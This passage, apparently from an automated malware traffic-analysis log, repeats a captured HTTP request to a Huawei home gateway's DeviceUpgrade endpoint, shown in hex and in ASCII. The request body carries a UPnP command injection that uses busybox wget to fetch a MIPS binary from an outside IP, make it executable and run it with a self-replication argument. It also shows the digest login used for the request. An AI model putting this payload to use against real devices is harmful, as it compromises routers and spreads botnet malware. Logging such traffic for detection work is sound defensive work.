79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 